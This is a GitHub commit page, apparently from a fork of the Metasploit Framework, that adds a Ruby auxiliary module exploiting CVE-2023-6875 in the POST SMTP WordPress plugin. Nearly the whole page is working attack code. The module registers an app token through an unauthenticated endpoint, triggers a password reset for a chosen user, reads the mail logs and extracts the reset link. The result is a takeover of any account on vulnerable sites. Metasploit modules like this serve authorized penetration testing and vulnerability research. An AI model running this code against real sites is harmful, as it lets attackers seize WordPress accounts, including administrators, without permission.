forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
117 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,4 @@ | ||
# -*- coding: binary -*- | ||
module Msf::Exploit::Remote::HTTP::Wordpress::Users | ||
|
||
# Checks if the given user exists | ||
|
116 changes: 116 additions & 0 deletions
116
modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,116 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::HTTP::Wordpress | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Wordpress POST SMTP Account Takeover', | ||
'Description' => %q{ | ||
POST SMTP, a WordPress plugin, | ||
prior to 2.8.7 is affected by a privilege escalation where an unauthenticated | ||
user is able to reset the password of an arbitrary user. This is done by | ||
requesting a password reset, then viewing the latest email logs to find | ||
the associated passowrd reset email. | ||
}, | ||
'Author' => [ | ||
'h00die', # msf module | ||
'Ulysses Saicha', # Discovery, POC | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => [ | ||
['CVE', '2023-6875'], | ||
['URL', 'https://github.com/UlyssesSaicha/CVE-2023-6875/tree/main'], | ||
], | ||
'DisclosureDate' => '2024-01-10', | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'SideEffects' => [IOC_IN_LOGS], | ||
'Reliability' => [] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
OptString.new('USERNAME', [true, 'Username to password reset', '']), | ||
] | ||
) | ||
end | ||
|
||
def register_token | ||
token = Rex::Text.rand_text_alphanumeric(10..16) | ||
device = Rex::Text.rand_text_alphanumeric(10..16) | ||
vprint_status("Attempting to Registering token #{token} on device #{device}") | ||
|
||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'), | ||
'ctype' => 'application/x-www-form-urlencoded', | ||
'headers' => { 'fcm-token' => token, 'device' => device } | ||
) | ||
fail_with(Failure::Unreachable, 'Connection failed') unless res | ||
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 # 404 if the URL structure is wonky, 401 not vulnerable | ||
print_good("Succesfully created token: #{token}") | ||
return token, device | ||
end | ||
|
||
def check | ||
unless wordpress_and_online? | ||
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') | ||
end | ||
|
||
checkcode = check_plugin_version_from_readme('post-smtp', '2.8.7') | ||
if checkcode == Msf::Exploit::CheckCode::Safe | ||
return Msf::Exploit::CheckCode::Safe('POST SMTP version not vulnerable') | ||
end | ||
|
||
checkcode | ||
end | ||
|
||
def run | ||
fail_with(Failure::NotFound, "#{datastore['USERNAME']} not found on this wordpress install") unless wordpress_user_exists? datastore['USERNAME'] | ||
token, device = register_token | ||
fail_with(Failure::UnexpectedReply, "Password reset for #{datastore['USERNAME']} failed") unless reset_user_password(datastore['USERNAME']) | ||
print_status('Requesting logs') | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'), | ||
'ctype' => 'application/x-www-form-urlencoded', | ||
'headers' => { 'fcm-token' => token, 'device' => device } | ||
) | ||
fail_with(Failure::Unreachable, 'Connection failed') unless res | ||
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 | ||
json_doc = res.get_json_document | ||
# we want the latest email as that's the one with the password reset | ||
doc_id = json_doc['data'][0]['id'] | ||
print_status("Requesting email content from logs for ID #{doc_id}") | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'), | ||
'ctype' => 'application/x-www-form-urlencoded', | ||
'headers' => { 'fcm-token' => token, 'device' => device }, | ||
'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id } | ||
) | ||
fail_with(Failure::Unreachable, 'Connection failed') unless res | ||
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 | ||
|
||
path = store_loot( | ||
'wordpress.post_smtp.log', | ||
'text/plain', | ||
rhost, | ||
res.body, | ||
"#{doc_id}.log" | ||
) | ||
print_good("Full text of log saved to: #{path}") | ||
# https://rubular.com/r/DDQpKElcH42Qxg | ||
if res.body =~ /(^.*key=.+$)/ | ||
print_good("Reset URL: #{::Regexp.last_match(1)}") | ||
return | ||
end | ||
print_bad('Reset URL not found, manually review log stored in loot.') | ||
end | ||
end |